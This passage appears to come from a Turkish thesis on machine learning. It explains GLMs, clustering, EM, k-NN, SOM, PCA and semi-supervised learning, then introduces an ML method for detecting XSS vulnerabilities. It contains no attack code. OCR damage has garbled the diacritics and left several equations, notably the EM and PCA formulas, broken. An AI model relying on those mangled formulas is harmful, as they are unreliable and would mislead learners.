bir veriye uygulanabilen yanit degiskeninin normal dagilimini varsayar. Ayrik/ikili bir
y degiskeni tizerinde dogrusal bir regresyon modeli olusturmaya c¢alisirsak, o zaman
dogrusal regresyon modeli, uygun olmayan karsilik gelen yanit degiskeni icin negatif

degerler tahmin eder.

GDM’nin Varsayimlari:

Dogrusal Regresyon Modeline benzer sekilde, Genellestirilmis Dogrusal Modeller i¢in de
bazi temel varsayimlar vardir. Varsayimlarin cogu Lineer Regresyon modellerine benzerken,

bazilar1 Lineer Regresyon varsayimlarindan degistirilmistir.

* Veriler bagimsiz ve rastgele olmalidir (Her rastgele degisken ayni olasilik dagilimina

sahiptir).

* Yanit degiskeni y’nin normal olarak dagilmasi gerekmez, ancak dagilim iistel bir

ailedendir (6rnegin; Binom, Poisson, Cok terimli, Normal)

* Orijjinal yanmt degiskeninin bagimsiz degiskenlerle dogrusal bir iligkisi olmasi
gerekmez, ancak doniistiiriilmiis yanit de8iskeni (baglanti fonksiyonu araciligiyla)
bagimsiz degiskenlere dogrusal olarak baghdir. Orn., Lojistik Regresyon Denklemi,
Log oranlari= By + B1X; + BoXo + -+ + BuXy, burada By, B1,B2,: -, Bn regresyon
katsayis1 ve X1,X>,- -+, X, bagimsiz degiskenlerdir.

* Bagimsiz degisken iizerinde Ozellik miihendisligi uygulanabilir, yani orijinal ham
bagimsiz degiskenleri almak yerine, GDM modelini olusturmak icin degisken

dontistimii  yapilabilir ve logaritmik doniisiim, degiskenlerin karesini alma,
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degiskenlerin carpmaya gore tersi gibi doniistiiriilmiis bagimsiz degiskenler de
kullanilabilir.

» Esdegiskenligin (yani sabit varyansin) karsilanmasi gerekmez. Yanit degiskeni Hata

varyansi bagimsiz degiskenlerle birlikte artabilir veya azalabilir.

» Hatalar bagimsizdir ancak normal dagilmalar1 gerekmez.

GDM’nin Bilesenleri:

GDM yo6nteminde 3 bilesen s6z konusudur.

i. Sistematik Bilesen/Dogrusal ongoriicii: Bu sadece ongoriicti degiskenler ve regresyon

katsayilarinin lineer birlesimidir.
Bo+ Bi X1+ BoXo+ -+ - + BuXi

ii. Baglanti Fonksiyonu: 1 veya g(1l) olarak temsil edilir, rastgele ve sistematik bilesenler
arasindaki baglantiyr belirtir. Yanitin beklenen/tahmin edilen degerinin, ongoriicii

degiskenlerin dogrusal kombinasyonu ile nasil iligkili oldugunu gosterir.

1il. Rastgele Bilesen/Olasilik Dagilini: Yanit degiskeninin dagilim ailesinden olasilik
dagilimini ifade eder. Ustel aile olarak adlandirilan dagilim ailesi, Normal dagilim,

Binom dagilimi veya Poisson dagilimini igerir.

Asagida Olasilik Dagilimlar1 ve bunlara karsilik gelen Baglanti fonksiyonu 6zetlenmistir.

Tablo 2.14: Olasilik Dagilimi-Baglant1 Fonksiyonu Iligkisi

Olasihik Dagimi  Baglanti Fonksiyonu

Normal Dagilm  Ozdeslik Fonksiyonu

Binom Dagilimi  Logit/Sigmoid Fonksiyonu

Poisson Dagilimi  Log Fonksiyonu (log-linear, log-link)

2.3.3. Denetimsiz Ogrenme

Denetimsiz Ogrenme, Denetimli Ogrenmede oldugu gibi égretmenden ya da Takviyeli

Ogrenmede oldugu gibi ¢evreden herhangi bir geri bildirim almadan verilerin 6zelliklerinin
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cikarilmasi siirecidir. Denetimsiz 0grenmenin en yaygin sekli, genellikle yanlislikla
Denetimsiz Ogrenmenin esanlamlis1 olarak da kullanilan kiimelemedir. Kiimelenmenin ana
fikri, verileri gruplandirmaktir. Boylece grup ic¢indeki veriler birbirine diger gruplara ait
verilerden daha fazla benzer olur (Jain, Murty ve Flynn, 1999). Bu, Oklid veya Manhattan
Uzakligi, Kosiniis benzesmezligi vb. gibi farklilik olciileriyle ve dogru kiimelemeyi
gerceklestirmek i¢in bahse konu dlciileri kullanan k-Ortalamalar gibi algoritmalarla elde

edilir.

Diger 6nemli denetimsiz algoritmalar da mevcuttur. Ornegin; Temel Bilesenler Analizi
(PCA: Principal Components Analysis), Bagimsiz Bilesen Analizi (ICA: Independent
Component Analysis) ve Kendi Kendini Diizenleyen Haritalar (SOM: Self-Organizing
Maps), giris verilerinin boyutsallifin1 bagka bir 6zellik uzayina egleyerek azaltmak igin
kullanilan denetimsiz algoritmalardir (Hastie, Tibshirani ve Friedman, 2009). Sonsal
olasihiga yaklagmak icin kullanilan Markov Zinciri Monte Carlo (MCMC: Markov
Chain Monte Carlo), Laplace yaklasimi, Degisimsel yaklasimlar, vb. gibi algoritmalar da

denetimsiz 6grenme sinifina aittir.

2.3.3.1. k-Ortalamalar Kiimeleme

Kiimeleme, nesnelerin gruplara (kiimelere) atanmasidir. Boylece ayni kiimeden alinan
nesneler, farkli kiimelerden gelen nesnelerden daha fazla birbirine benzemektedir. Nesnelerin
benzerligi, genellikle veri kiimesinin ¢oklu boyutlar iizerinden nesneler arasindaki uzaklik
ile belirlenir. Kiimeleme, biyoinformatik, metin madenciligi, Oriintii tanima ve goriintii
analizi gibi ¢esitli alanlarda yaygin olarak kullanilmaktadir. Kiimeleme, drneklerin etiketsiz

oldugu, yani 6n-siniflandirma yapilmayan denetimsiz bir 6grenme yaklagimidir.

k-Ortalamalar Kiimeleme YOntemi, belirtilen X veri noktalarini, her veri noktasi, kiime
merkezine, diger kiime merkezlerine oranla daha yakin (benzer) olacak sekilde k adet
kiimeye ayirir. k-Ortalamalar Kiimeleme Algoritmas1 genellikle asagida tarif edilen

adimlardan olugur:

1. Adim: k adet baglangi¢ kiime merkezini cy,c3,- - -, ¢ se¢in.
2. Adim: S i¢indeki her bir x 6rnegini merkezi x’e en yakin olan kiimeye atayin.
3. Adim: I¢inde hangi elemanlarin yer aldigini temel alarak her kiimenin merkezini yeniden

hesaplayin.
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4. Adim: Yakinsama saglanana kadar 2. adim ve 3. adimu tekrarlayin.

k-Ortalamalar Kiimeleme yoOnteminin basarili bir sekilde uygulanmasi i¢in iki konu
onemlidir; boliimleme icin kiime sayis1 k ve uzaklik metrigi. Oklid uzakligi, k-Ortalamalar
Kiimeleme yonteminde en ¢ok kullanilan metriktir. Kiimelenmeden 6nce k kiime sayisi
bilinmedigi siirece, hicbir degerlendirme yontemi se¢ilen k’nin en uygun deger oldugunu
garanti edemez. Bununla birlikte, kiimelenme performansini1 degerlendirmek i¢in kararlilik,

dogruluk ve diger dl¢iiler kullanilmaya calisilir.

2.3.3.2. Beklenti Maksimizasyonu

Beklenti maksimizasyonu (EM: Expectation Maximization) yontemi, olasilik modelinde
parametrelerin maksimum olabilirlik tahminlerini aragtirmak i¢in tasarlanmigtir. Beklenti
maksimizasyonu yontemleri, Gauss Karisim Modeli gibi parametrik istatistiksel modellerin
bir dizi veri noktasinin dagilimini tanimlayabilecegini varsaymaktadir. Ornegin, veri
noktalarinin histogrami Olasilik Yogunluk Fonksiyonunun bir tahmini olarak kabul

edildiginde, fonksiyonun parametreleri histogram kullanilarak tahmin edilebilir.

Beklenti maksimizasyonu yonteminde beklenti adimi ve maksimizasyon adimi tekrarli
olarak gerceklestirilir. Beklenti adimi, gizli degiskenler i¢in dagilimin mevcut tahminine
gore logaritmik olasiliga dair bir beklenti hesaplar ve maksimizasyon adimi, beklenti
adiminda bulunan, beklenen logaritmik olasiligi maksimize eden parametreleri hesaplar.
Bu parametreler daha sonra bir sonraki beklenti adiminda gizli degiskenlerin dagilimini

belirlemek i¢in kullanilir. Bu iki adim asagidaki sekilde aciklanmaktadir:

1. Adim (Beklenti adimi): Ornek veri x ve kesfedilmemis veya kayip veri z verildiginde, 0

parametrelerinin beklenen logaritmik olabilirlik fonksiyonu 6’ ile tahmin edilebilir:
£(0]6") = E[logL(0;x,z)] (2.28)

2. Adim (Maksimizasyon adimi): t adiminda tahmin edilen parametrenin kullanilmasiyla,

maksimum olabilirlik fonksiyonunun parametreleri asagidaki sekilde hesaplanir:
0'"! = argmax(f(6(6")) (2.29)
0

Yukarida bahsi gegen maksimum olabilirlik fonksiyonu, gézlenen verilerin L(6;x), marjinal
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olasihik dagilimi ile belirlenir. Asagida, beklenti maksimizasyonu, matematiksel olarak

gosterilip yineleme adimlart detayl agiklanmistir.

Verilen bir veri noktalar1 kiimesi S=x,x3,- - ,x,, i¢in Olasilik Yogunluk Fonksiyonlarinin

karigimi agagidaki sekilde tanimlanir:

p(xi) = i o * Pj(xi; ;) (2.30)

j=
Denklem 2.30’da o, karigim modelindeki j’inci yogunlugun oramidir ve 25{:1 o = 1'dir.
P;(x;;0;), parametre dizisi 6; ile j’inci yogunluk fonksiyonudur. Gauss Karisgim Modeli,
ortalama U; ve kovaryans X; seklinde iki parametreye sahip en ¢ok kullanilan model olup
6; = (u;,%;) dir. Eger 6 nin (u;,X;) parametrelerinin #’inci adimdaki tahmini degeri olarak
kabul edersek 91’-+1 tekrarlanarak elde edilebilir. Beklenti maksimizasyonu algoritma yapisi

asagidaki sekilde devam eder:

1 m
t+1 _ t
% —;*;“z’j (2.31)
=
moak.xx;
= S (2.32)
i=14j
t+1 moal [ —ut) x (i — )]
—14; i i
Y =—L—F : (2.33)
j =14
g ai*P(xj;ut,Yh) (234)

Y X aix Pxjug, X

Bu denklemler, yogunluk fonksiyonunun tahmin edilen parametrelerinin, veri noktasi
degerlerinin agirlikli ortalamasina gore giincellendigini belirtmektedir. Burada sz konusu
olan agirliklar, beklenti adimindaki agirliklardir. Beklenti maksimizasyonu dongiisii, GJQ =
(H;~)723) seklinde bir baglangic degeri ile baglar ve parametreler yukarida verilen dort
denkleme gore tekrarl olarak giincellenir. Beklenti maksimizasyonu algoritmasi, tahmin

edilen parametreler degismeyene kadar yakinsar.

Verilen veri kiimeleri varsayimla ayni dagilima sahipse, Beklenti maksimizasyonu
algoritmasi yiiksek 6grenme dogrulugu ile sonuclanabilir. Aksi halde, kiimeleme dogrulugu

diisiiktiir ¢iinkii model yanhdir.
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2.3.3.3. k-En Yakin Komgu

k-En Yakin Komsu algoritmasinda her veri noktasi, sorgu noktasina en yakin k adet veri
noktas1 arasinda en yiiksek giiveni tasiyan sinifa atanir (sinif ile etiketlenir). Sekil 2.55
Orneginde goriilebilecedi lizere, k = 5 olarak alindiginda X,,¢, noktast, % giivenle negatif
siifa atanir, c¢linkii daire i¢inde kalan noktalardan iicii negatif, ikisi pozitiftir. En yakin
komgularin sayist (k) ve uzaklik Ol¢iisii k-En Yakin Komsgu algoritmasi i¢in anahtar
bilesenlerdir. k sayisinin se¢imi, bir dizi k ayar1 lizerinden capraz dogrulamaya dayanmalidir.
Genel olarak, daha biiyiik bir £ degeri, veri giiriiltiisiiniin siniflandirma {izerindeki etkisini
azaltirken siniflar arasindaki ayrimi da bulaniklagtirabilir. £’nin degerinin, toplam egitim
ornegi sayisinin karekokiinden daha az secilmesi bu algoritma icin iyi bir kuraldur. iki simifls

siniflandirma problemlerinde, bagli oylardan kacinmak icin & tek say1 olarak se¢ilmelidir.

Sekil 2.55: k-En Yakin Komgu Siniflandirmasi (k = 5)

En cok kullanilan uzaklik metrigi Oklid mesafesidir. n boyutlu 6zellik uzayinda x; =
(x11,X12, " ,X1n) Ve X2 = (X21,X22, -+ ,X2,) seklinde iki veri noktasi verildiginde, bu noktalar

arasindaki Oklid uzaklig1 asagidaki sekilde hesaplanr:

n
uzaklik (x1,x2) = | Y (x1; — x2:)? (2.35)
i=1



140

k-En Yakin Komsu algoritmasi, stniflandirma i¢in giiclii kalirken, 6grenme i¢in parametreleri
egitmeye ihtiya¢ duymadigindan uygulamast ve yorumlamasi kolaydir. Bununla birlikte,

k-En Yakin Komsu siniflandirmasi zaman alicidir ve yogun depolama gerektirir.

2.3.3.4. Kendini Diizenleyen Haritalar YSA

Kohonen olarak da bilinen Kendini Diizenleyen Haritalar (KDH) Yapay Sinir Aglar1 (YSA),
giris verilerinin komsuluk 6zelliklerini koruyarak yiiksek boyutlu verilerin diisiik boyutlu
goriiniimlerini gorsellestirmede YSA’y1 tammlar. Ornegin, iki boyutlu bir KDH kafeslerden
olusur. Her kafes bir norona karsilik gelir. Her kafes, giris vektorleri ile ayni boyutta bir
agirlik vektorii igerir ve higbir ndron bir digerine baglanmaz. Bir kafesin her agirhigi,
giris vektoriiniin bir elemanina karsilik gelir. KDH YSA’nin amaci, giris vektoriiniin ait
oldugu sinifin verilerine benzemek icin kafes alanini en uygun hale getirmektir. KDH YSA

algoritmalar1 agsagidaki adimlardan olusur:

1. Adim: Noron agirliklarinin baslangic degerlerini atayin.

2. Adim: Kafes icin egitim verisinden rastgele bir vektor segin.

3. Adim: Girig vektoriine en ¢ok uyan agirliga sahip olan néronu bulun.

4. Adim: 3. adimda eslesen noronlarin komsulugundaki noronlart bulun.

5. Adim: Bu noronlarin ve giris vektoriiniin benzerligini arttirmak i¢in 4. adimda elde edilen
her komsu noronun agirligina ince ayar yapin.

6. Adim: Yakinsayana kadar 1. adimdan 5. adima kadar olan islemleri tekrarh olarak yapin.

KDH YSA, benzer ¢rneklerin birbirine yakin olarak eslendigi ve birbirinden farkli olan
orneklerin birbirinden ayrildig1 anlamsal bir harita olusturur. Benzerligi, komsu hiicrelerin
agirlik vektorleri arasindaki Oklid uzakligina gore gorsellestirebiliriz. KDH, giris vektorleri

arasindaki topolojik iligkileri korur.

2.3.3.5. Temel Bilesenler Analizi

Temel Bilegenler Analizi (TBA), maksimum faydali bilgiyi iletmek icin daha diisiik boyutlu
bir 6zellik uzayindaki ham verileri temsil eder. Cikarilan temel 6zellik bilesenleri, verilerin
degiskenligini temsil eden boyutlarda yer alir. d-boyutlu 6zellik uzayinda {x, x>, - - ,x,/} veri
kiimesi verildiginde, bu veri noktalar1 X matrisinde her satir bir veri noktasini ve her siitun
bir o6zelligi gosterecek bigcimde yerlestirilir. 7, matrisin Transpozunu (Devrigini) belirtmek

tizere X matrisi X=/x1,x2,-- ,x,]" seklinde sunulur. Ardindan X , R uzayda her satirda
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matris X’deki tiim satirlarin ortalamasini sunan matrisi gostermek lizere X — X ile sifir
olarak merkezlenecek veri noktalar1 belirlenir. Boyle bir iglem, TBA sonucunun, 6zellikler
arasindaki farktan dolay1 carpik olmamasini saglayacaktir.

Daha sonra, X — X’nin deneysel bir kovaryans matrisi C = (1/d) % }(X — b% ) * (X —
X )T ile elde edilebilir. X — X’nin deneysel kovaryans matrisi elde edildikten sonra, RY
uzayinda ozvektorlerin d boyutta temel bilesenlerinin d elemanli bir kiimesinden olugan
V = [v1,v2,---,v4] seklinde bir V matrisi elde edilit. D = V~!xCxV ve eger i=j ise
Djj = A; degilse D;; = 0 olmak iizere V matrisindeki her bir 6zvektor v; (i = 1,2,---,m),
D diyagonal matrisindeki bir 6zdeger A;’ye karsilik gelir. Son olarak, 6zdegerleri siralayarak
ve karsilik gelen 6zvektorleri yeniden diizenleyerek farkli ortogonal yonler (6zvektorler ile
gosterilir) boyunca varyansin anlamliligini bulabiliriz. Bu durumda i’inci temel bilegen veya

v; 6zvektorii asagidaki sekilde gosterilir:

vy = argmax] (X —X) =Y (X =X) v sl )y (2.36)

Yukaridaki denklemde (X —X ) * Vv, v; yonii boyunca yansitilan varyans miktarini yakalar.
Bu varyans ayn1 zamanda karsilik gelen 6zdeger A; ile de ifade edilir. TBA yonteminin

uygulanmasi, asagida verilen dort adimda 6zetlenebilir:

1. Adim: Ortalama sifir olan bir veri kiimesi iiretmek icin her bir boyuttaki ortalamay1 ¢ikarin.
2. Adim: Kovaryans matrisini hesaplayn.

3. Adim: Kovaryans matrisinin 6zvektorlerini ve 6zdegerlerini hesaplayin.

4. Adim: Bilesenleri anlamlilik sirasina gore almak i¢in 6zvektorleri, 6zdegerlere gore en

yiiksekten en diisiige dogru siralayin.

Sekil 2.56’da gosterildigi gibi v; ve v, TBA tarafindan elde edilen birinci ve ikinci temel
bilesenlerdir. A ve A, ise, karsilik gelen birinci ve ikinci 6zdegerlerdir. vy, veri kiimesindeki
orijinal varyansi, v, ise kalan varyansi temsil ederken temel bilesenler, 6zellik alaninda

ortogonaldir.

TBA, veri varyansint miimkiin oldugunca koruyarak daha kii¢iik boyutlu bir veri uzayinda
orijinal verileri yansitir. TBA, veri kiimelerinin yerlesik istatistik bilgisini tanimlamak i¢in

bagimli olmayan ozellikleri c¢ikarabilir. TBA, giris verilerinin siirekli ve normal olarak
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Sekil 2.56: Iki boyutlu bir Gauss karisim veri kiimesinde TBA uygulamasi rnegi

dagildigim varsaymaktadir, buna ragmen normal dagilima sahip olmayan veriler de iyi
bir 6ngoriiyle sonug¢lanabilmektedir. TBA, orijinal veri kiimelerindeki 6zelliklerin ¢ok az

gorsellestirilmesini saglar.

2.3.4. Yar Denetimli Ogrenme

Yar1 denetimli 68renme, belirli 6grenme gorevlerini gergeklestirmek igin etiketli ve etiketsiz
verilerin kullanilmasiyla ilgili makine 6greniminin bir dalidir. Denetimli ve denetimsiz
O0grenim arasinda kavramsal olarak konumlandirilmis olan bu yontem, tipik olarak daha
kiiciik etiketli veri kiimeleriyle birlikte bircok kullanim durumunda mevcut olan biiyiik
miktarda etiketlenmemis veriden yararlanilmasina izin verir. Son yillarda, bu alandaki
arastirmalar, makine 0greniminde gozlemlenen genel egilimleri takip etti ve biiyiik ilgi,
sinir ag1 tabanli modellere ve iiretken 6grenmeye yoneldi. Konuyla ilgili literatiir de hacim
ve kapsam olarak genigledi ve simdi genis bir teori, algoritma ve uygulama yelpazesini

kapsamaktadir.

Yetersiz etiketli gbzlemler mevcut oldugunda etiketli ve etiketlenmemis verileri birlestirmek
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icin yar1 denetimli algoritmalar uygulanabilir.

Makine ogreniminde, geleneksel olarak iki ana yontem seklinde bir ayrim yapilmistir:
denetimli ve denetimsiz 6grenme (Bishop, 2006). Denetimli 6grenmede, bir miktar girdi x,
ona karsilik gelen bir ¢ikti degeri y’den olusan bir dizi veri noktasi ile sunulur. O halde amac,
daha Once goriilmemis girdiler i¢in ¢ikti de8erini tahmin edebilen bir siniflandiric1 veya
regresor olusturmaktir. Denetimsiz 6grenmede ise, belirli bir ¢cikti degeri saglanmamaktadir.
Bunun yerine, girdilerden bazi temel yapilari ¢ikarmaya galisir. Ornegin, denetimsiz
kiimelemede amac, verilen girdilerden (6rnegin, gercek sayilarin vektorleri) benzer girdilerin

ayn1 gruba eslenecegi sekilde gruplara bir eslestirme sonucu ¢ikarmaktir.

Yar1 denetimli 6grenme, bu iki yontemi birlestirmeyi amaclayan bir makine Ogrenimi
dalidir (Zhu, 2008). Tipik olarak, yar1 denetimli 6grenme algoritmalari, genellikle digeriyle
iligkili bilgileri kullanarak bu iki gorevden birinde performans: iyilestirmeye caligir.
Ornegin, bir siniflandirma problemiyle ugrasirken, etiketin bilinmedigi ek veri noktalar
siniflandirma siirecine yardimci olmak i¢in kullanilabilir. Kiimeleme yontemleri icin ise

0grenme prosediirii, belirli veri noktalarinin ayni sinifa ait oldugu bilgisinden faydalanabilir.

Genel olarak makine o©greniminde oldugu gibi, yart denetimli O8renmeyle ilgili
arastirmalarin biiyiik cogunlugu siniflandirmaya odaklanmistir. Yar1 denetimli siniflandirma
yontemleri, 6zellikle etiketlenmis verilerin az oldugu senaryolarla ilgilidir. Bu durumlarda,
giivenilir bir denetimli siniflandirici olusturmak zor olabilir. Bu durum, bilgisayar destekli
teshis, ila¢ kesfi ve konugsma parcasi etiketleme gibi etiketli verilerin elde edilmesinin
pahali veya zor oldugu uygulama alanlarinda ortaya ¢ikar. Yeterli sayida etiketlenmemis veri
mevcutsa ve verilerin dagitimi ile ilgili belirli varsayimlar altinda, etiketlenmemis veriler
daha iyi bir siniflandiricinin olusturulmasina yardimei olabilir. Uygulamada, yar1 denetimli
o0grenme yontemleri, etiketlenmig verilerin 6nemli bir eksikliginin olmadig1 senaryolara da
uygulanmugtir: etiketsiz veri noktalar1 tahminle ilgili ek bilgiler saglarsa, bunlar potansiyel

olarak gelismis siniflandirma performansi elde etmek i¢in kullanilabilir.

Her biri kendi ozelliklerine, avantajlarina ve dezavantajlarina sahip ¢ok sayida ogrenme
yontemi mevcuttur. Bu alanin en son kapsamli arastirmasi 2005 yilinda Zhu tarafindan
yayinlanip en son 2008’de giincellenmistir (Zhu, 2008). Chapelle, Scholkopf ve Zien (2006)
ile Zhu ve Goldberg (2009)’in giris kitab1 da yar1 denetimli 68renme iizerine Onceki

caligmalar incelemek i¢in 1yi temeller saglar. Daha yakin zamanlarda, Subramanya ve
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Talukdar (2014), cesitli grafik tabanli tekniklere genel bir bakis sagladi ve Triguero, Garcia
ve Herrera (2013), yar1 denetimli bir 6grenme yontemleri sinifi olan sozde etiketleme

tekniklerini gbzden gecirdi ve analiz etti.

Zhu (2008)’nun c¢aligmasinin yaymlanmasindan bu yana, yar1 denetimli 6grenme alaninda
bazi 6nemli gelismeler olmustur. Alan boyunca, yeni 68renme yaklasimlari Onerildi ve
mevcut yaklagimlar genisletildi, iyilestirildi ve daha derinlemesine analiz edildi. Ek olarak,
denetimli 6grenme icin (derin) sinir aglarmin (Goodfellow, 2017) popiilaritesindeki artis,
denetimsiz kayip terimlerini sinir aglarinin maliyet islevlerine dahil etmenin basitligi ile
yonlendirilen yar1 denetimli 68renmeye yeni yaklagimlar getirmistir. Son olarak, performansi
diisiirmeyen saglam yar1 denetimli 6grenme yontemlerinin gelistirilmesine ve pratik amaglar

icin yar1 denetimli 6grenme yontemlerinin degerlendirilmesine olan ilgi artmigtr.

Yar1 denetimli 6grenmenin, denetimli 6grenmeye gore daha az etiketli e8itim verisiyle
modeli egitme yontemi, sozde etiketleme kullanmaktir. Bu, bircok sinir agr modelini ve

egitim yontemini birlestirebilir. Isleyis sekli asagidaki sekilde 6zetlenebilir:

1. Modeli, size iyi sonuglar verene kadar, denetimli 6grenmede yaptiginiz gibi az

miktarda etiketli egitim verisiyle egitin.

2. Ardindan, gerektigi kadar dogru olmayabilecekleri i¢in sozde etiketler olan ciktilar

tahmin etmek amaciyla etiketlenmemis egitim veri kiimesiyle birlikte kullanin.

3. Etiketli egitim verilerindeki etiketleri, onceki adimda olusturulan sozde etiketlere

baglantilandirin.

4. Etiketli egitim verilerindeki veri girislerini, etiketlenmemis verilerdeki girdilerle

baglantilandirin.

5. Ardindan, hatay1r azaltmak ve modelin dogrulugunu iyilestirmek i¢in modeli

baslangicta etiketli kiime ile ayn1 sekilde egitin.

Geleneksel denetimli 6grenme problemlerinde, / etiketli veri noktalarnin Dy, = ((x;,y:))L_,
siral1 bir koleksiyonuyla sunulur. Her veri noktasi (x;,y;), belirli bir 2 giris uzayindan bir
x; € Z nesnesinden olusur ve bununla iligkili bir y; etiketine sahiptir, burada y; regresyon

problemlerinde gercek degerli ve siniflandirma problemlerinde kategoriktir. Genellikle
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egitim verileri olarak adlandirilan bu veri noktalarinin bir koleksiyonuna dayanarak,
denetimli 6grenme yontemleri, daha Once goriinmeyen bazi x* girdilerinin y* etiketini

basarili bir sekilde belirleyebilen bir fonksiyonu ¢ikarmaya calisir.

Bununla birlikte, bir¢cok gercek diinya siniflandirma probleminde, etiketleri bilinmeyen
Dy = (x,-)ﬁiﬁl gibi bir u veri noktasi koleksiyonuna da erisebiliriz. Ornegin, tahmin
yapmak istedigimiz veri noktalari, genellikle test verileri olarak adlandirilir ve tanim geregi
etiketlenmez. Yart denetimli siniflandirma yontemleri, yalnizca etiketli verileri kullanarak
elde edilen Ogrencilerin performansim1 asan bir Ogrenici olusturmak ic¢in etiketsiz veri
noktalarim1 kullanmaya calisir. Ilerleyen boliimlerde, sirasiyla etiketli ve etiketsiz drnekler
icin giris nesnelerinin koleksiyonunu X; ve Xy ile belirtilmigstir. Burada atifta bulunulan
veri noktalarinin koleksiyonlari, teknik olarak listelerdir. Bununla birlikte, yaygin kullanimi

takiben, bunlardan ’kiimeler’ olarak da soz edilebilir ve gosterimi biraz kotiiye kullanarak,

standart kiime-teorik kavramlar1 uygulanabilir.

Etiketsiz verilerin bir siniflandirici olusturmaya yardimei olabilecegi bir¢cok durum vardir.
Ornegin, konular1 bir dizi metin belgesine (gevrimici haber makaleleri, twitter girdileri
gibi) atamak istedigimiz belge simiflandirmasi problemini diisiiniin. Belgelerimizin i¢inde
goriinen bir dizi sozciikle temsil edildigini varsayarsak, Ornefin “ndtron” sozciigiinii
iceren belgelerin genellikle fizikle ilgili oldugunu fark etmeyi 6grenen basit bir denetimli
siniflandiric1 egitilebilir. Bu simiflandirici, egitim verilerinde gordii§ii terimleri iceren
belgeler iizerinde iyi calisabilir, ancak bir belge egitim setinde de meydana gelen tahmini
sozciikler icermediginde dogal olarak basarisiz olur. Ornegin, “nétron” kelimesini icermeyen
parcacik hizlandiricilarla ilgili bir fizik belgesine rastlarsak, siniflandirici onu fizikle ilgili bir
belge olarak tanityamaz. Yart denetimli 68renmenin geldigi yer burasidir. Etiketsiz verileri
ele alirsak, “ndtron” kelimesini “parcacik hizlandiric1” ciimlesine baglayan belgeler olabilir.
Ornegin, “notron” kelimesi, “kuark” kelimesini de iceren bir belgede siklikla geger. Dahasi,
“kuark” kelimesi, siniflandiricilara, etiketli verilerde “pargacik hizlandiricr” ifadesini hig
gdrmemis olmalarina ragmen, bu belgeleri fizik etrafinda da doniiyor olarak siniflandirmaya

yonlendiren “parcacik hizlandirict” ifadesiyle diizenli olarak birlikte gececektir.

Sekil 2.57, siniflandirma icin etiketlenmemis verilerin kullanimina yonelik biraz daha fazla
sezgi saglar. Iki sinifl1 yapay bir siniflandirma problemini ele alinirsa, her iki simf icin, aym

kovaryans matrislerine sahip 2 boyutlu bir Gauss dagilimindan 100 ornek cizilir. Etiketli



146

veri seti daha sonra her siniftan bir ornek alinarak olusturulur. Herhangi bir denetimli
0grenme algoritmasi, bilyiik olasilikla, iki etiketli veri noktasini birlestiren ve ortada kesisen
cizgi parcasina dik olan diiz ¢izgiyi karar sinir1 olarak elde edecektir. Ancak bu, optimal
karar sinirindan oldukca uzaktir. Bu sekilden de anlasilacagi gibi, etiketsiz verilerden
cikarabilecegimiz kiimeler, karar sinirini belirlemede bize 6nemli 6l¢iide yardimcr olabilir:
verilerin iki Gauss dagilimindan kaynaklandigini varsayarsak, basit bir yar1 denetimli

0grenme algoritmasi, optimuma yakin bir karar sinir1 ¢ikarabilir.

s Denetimli algoritma karar sinin ‘

= mmm mmm Optimal karar simin

Sekil 2.57: Etiketsiz verilerin varlifinda ikili siniflandirmanin temel bir 6rnegi
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3. YONTEM, MODEL TASARIMI VE UYGULANMASI

Giinlimiiz diinyasinin en énemli metalarindan biri olan dijital veri ve bilgilerin korunmasi
hem bireyler, hem kurumlar hem de devletler acisindan kritik 6neme sahiptir. Yasadigimiz
bir ¢ok ornek ile bu bilgilerin calinmasi, koétiiye kullanilmasi ve ihtiya¢c duyuldugu
anda erisilemez kilinmasi ile maddi ve manevi pek cok biiylik kayiplarin yasandigini
gostermektedir. Siber diinyanin 6nemli bir parcasi olan webi hedef alan bilgi giivenligi
kusurlarindan biri olarak uzun yillardir ilk on zafiyet arasinda yer alan “Siteler Aras1 Betik
Calistirma (XSS) Zafiyeti”, diger aciklar gibi dijital bilgiyi ve siber diinya kullanicilarini
hedef almaktadir.

XSS zafiyetinin tespiti i¢in, Onceki boliimlerde ele alindigi iizere, pek ¢ok yontem
gelistirilmis ve akademik caligmalar yapilmis olup son zamanlarda makine &grenmesi
yontemlerinin de bilgi giivenligi zafiyet tespiti icin kullanildigi goriillmektedir. Bu
tez calismasinin amaci, web uygulamalarinda Siteler Arasi Betik Calistirma (XSS)
Zafiyetinin denetlenmesi i¢in, gercek diinyada da uygulanabilirligi olan 6grenen bir sistem
gelistirilmesidir. Bu ¢alismanin bir alt hedefi olarak, makine 6grenmesi algoritmalarinda,
XSS tespiti icin kullanilabilecek 6zniteliklerin belirlenmesi ve bunlarin Bilgi Kazanimi
yontemi ile zafiyet tespiti i¢in anlamli 6zellikler olup olmadiginin degerlendirilecektir.
Bu sekilde ozellikle reel diinyadaki biiyiik verilerle yapilacak caligmalarda zaman, iglem
giici ve bellek gibi kisith olan kaynaklarin daha efektif kullanilmasi hedeflenmistir. Bir
diger alt hedef ise gercek siber diinya verilerinden iyicil-kotiiciil veri setlerinin otomatik
olarak olusturulmasi amaciyla bir takim betiklerin gelistirilmesi, boylece ihtiya¢ duyuldugu
anda ihtiya¢ duyulan biiyiikliikte veri setlerinin otomatik olarak olusturulabilmesi ve
akademik calismalarda kullanilabilmesi hedeflenistir. Bu ¢alisma kapsaminda, ele alinan
ikili stmiflandirma probleminin ¢6ziimii i¢in literatiirde siklikla kullanilmis olan ii¢ farkli
ogrenme algoritmas1 (NB, DVM, GDM) kullanilmis olup, bu algoritmalarin ¢alismaya
0zgii olusturulan veri seti ile gostermis olduklari performanslarin da kendi icerisinde

kargilastirilmast hedeflenmistir.

Calismanin hedeflerine ulagsmasi icin kilavuzlara sahip olmak cok o©nemlidir ve bu

kilavuzlar, calisma boyunca karsilagilabilecek her tiirli belirsizligi agikliga kavusturmayi
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ve arastirmaya yol gostermeyi amaclamaktadir. Bu c¢alisma, en Onemli ve belirleyici
ozelliklerin secilmesine dayali olarak herhangi bir web sayfasini, XSS zafiyeti barindiran
veya XSS ac¢isindan sorunsuz olarak siniflandirmak i¢in bir model kurulmasi ve s6z konusu
siniflandirmanin uygulanmasina odaklanmaktadir. Calismanin metodolojisi, bu calisma
kapsaminda belirlenen hedeflere nasil ulasilabilecegine dair net bir kilavuz saglamak

amaciyla birka¢ agamaya ayrilmistir.

3.1. CALISMADA UYGULANAN YONTEM

Calismanin kurgulanmasi kolaylastirmak ve yiiriitiilmesi gereken tiim adimlar1 uygulamak
tizere bir cerceve gereklidir. Arastirmacilar, caligmalar1 kapsaminda daha fazla
odaklanmalarina yardimci olacak cerceveleri kendilerine kilavuz olarak kullanmaktadirlar.
Sekil 3.1, bu calismada izlenecek cerceveyi gostermektedir. Calisma, hedeflere karsilik

